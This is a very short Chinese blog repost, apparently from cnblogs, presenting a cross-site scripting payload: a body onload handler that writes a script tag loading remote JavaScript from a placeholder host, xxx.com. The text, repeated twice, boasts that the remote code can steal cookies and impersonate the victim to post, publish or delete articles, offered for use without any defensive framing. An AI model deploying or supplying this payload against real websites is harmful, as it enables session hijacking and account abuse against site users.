<body οnlοad="document.write('<script src=http://xxx.com/js/main.js></script>')"> 加载一段远程的JS 里面的代码自由发挥可以盗取cookie
模拟用户发帖 发文章 删除文章 基本上 只要你想到的 多可以做到
本文共 215 字，大约阅读时间需要 1 分钟。
<body οnlοad="document.write('<script src=http://xxx.com/js/main.js></script>')"> 加载一段远程的JS 里面的代码自由发挥可以盗取cookie
模拟用户发帖 发文章 删除文章 基本上 只要你想到的 多可以做到
转载于:https://www.cnblogs.com/jackspider/archive/2013/04/28/3049215.html